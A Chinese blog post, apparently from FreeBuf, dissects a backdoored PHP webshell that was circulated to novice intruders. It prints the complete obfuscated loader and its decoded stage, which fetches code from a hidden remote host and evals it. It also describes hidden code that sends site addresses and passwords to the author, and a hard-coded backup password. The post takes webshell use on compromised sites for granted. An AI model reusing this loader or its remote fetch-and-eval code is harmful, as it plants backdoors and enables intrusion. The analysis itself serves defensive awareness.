龙空技术网

PHP WebShell代码后门的一次检查

信息安全搬运工 395

前言:

当前同学们对“phpwebshell后门防护”大致比较关心,大家都需要了解一些“phpwebshell后门防护”的相关文章。那么小编也在网上搜集了一些有关“phpwebshell后门防护””的相关文章,希望大家能喜欢,大家一起来了解一下吧!

前言

小明是一名Web小白,今天他突然心血来潮,对自己常用的大马代码查看一下,竟然发现还是有一些后门没有清除干净,不由得心里为之一颤抖,这个江湖果然是险恶重生,黑吃黑的事情经常发生。想起自己辛辛苦苦得到的站点都成了别人的嫁衣,遂决定好好的分析马儿的肚子内部结构,特洛伊的骗局决不能让它再次坑害新手。

正文:

回想起来马儿好像是哪个网站上面下载的,小明快速的打开浏览器,搜索引擎输入“Web大马”,出现了缤纷多彩的信息。

好像就是这个网站,进去之后看看介绍,感觉好高大上黑色的背景配合绿色,灰白色的界面,这不正是小白们心里的标配马吗?好的,就是这匹宝马了。

不知道这宝马有木有介绍的那么好,竟然能过一切waf,诸多安全软件都免杀。有如此良驹,在渗透的时候必然是过五关斩六将。小明的手颤抖的移动鼠标到底部,看到下载地址,狠狠的点击一下,只听得叮的一声,马儿就掉到了自己的目录里面,

迫不及待的解压之后,看到一个shell.php,大小只有1.83KB,这体重和小马有的一拼了。

<?php $password='xxxxx';//登录密码 //本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。 //功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

咋一看这不是base64吗,如此小的代码竟然实现了诸多的功能。着实让人佩服作者,打开phpstorm直接base64解密得到了下面这段内容

error_reporting(0); session_start(); if (!isset($_SESSION["phpapi"])) { $c = ''; $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)'; $url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); $urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw=="); if (function_exists('fsockopen')) { $link = parse_url($url); $query = $link['path']; $host = strtolower($link['host']); $fp = fsockopen($host, 80, $errno, $errstr, 10); if ($fp) { $out = "GET /{$query} HTTP/1.0\r\n"; $out .= "Host: {$host}\r\n"; $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $inheader = 1; $contents = ""; while (!feof($fp)) { $line = fgets($fp, 4096); if ($inheader == 0) { $contents .= $line; } if ($inheader && ($line == "\n" || $line == "\r\n")) { $inheader = 0; } } fclose($fp); $c = $contents; } } if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); $c = curl_exec($ch); curl_close($ch); } if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) { $temps = @file($url); if (!empty($temps)) $c = @implode('', $temps); if (!strpos($c, "delDirAndFile")) $c = @file_get_contents($url); } if (strpos($c, $urlNew) !== false) { $c = str_replace($urlNew, "", $c); $_SESSION["phpapi"] = gzinflate(base64_decode($c)); } } if (isset($_SESSION["phpapi"])) { eval($_SESSION["phpapi"]); }

原来作者是通过远程下载图片的方式得到大马的内容,难怪可以逃过免杀啊,根本就是普通的php代码,这样以来作者就可以明正言顺的得到我们的url了,真的是躺着也能乐呵呵的数马儿,今年又是一个丰收年啊。

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));  $url base64解开后的到
在得到图片的内容后用base64解开然后zip解压我们得到了真的马儿,打开浏览器后一看果然和网站上介绍的是一个模样的。输入密码登陆后,看到这样的马儿用起来才叫爽啊,

为了看看大马儿的内部还有什么手段,祭出Firefox,按下f12,输入密码后查看网络连接,发现视乎没有什么其他的外部活动,js也是非常的安静。新想这马儿应该是安全的。再次查看了httpnetworksniff和TcpLogView,没有外部的连接活动。但还是非常不放心,在phpstorm里面看了下base64加密的字符串,看到一个函数非常可疑

其中htmlogin()函数内部 if (strpos($domain, “0.0″) !== false || strpos($domain, “192.168.”) !== false || strpos($domain, “localhost”) !== false) 以及show_mainp()函数都对局域网ip特征做了判断,判断了是否为局域网,不然就发送你的地址和密码到他的网站,;value=password&id=ip

然而到此结束了吗???通常WebShell会有一个备用的密码,搜寻了一下postpass 在1709行发现了备用密码if ($_POST['postpass'] == postpass||$_POST['postpass']==’http200ok’)

总结:

还是那句话江湖险恶,不要轻易的用别人写好加密的东西,很多软件最好翻墙或者先去github上找找。webshell这种东西要自己动手查看内容确定安全后才能放心使用。

*本文原创作者:facebook001,属FreeBuf原创奖励计划,未经许可禁止转载

标签: #phpwebshell后门防护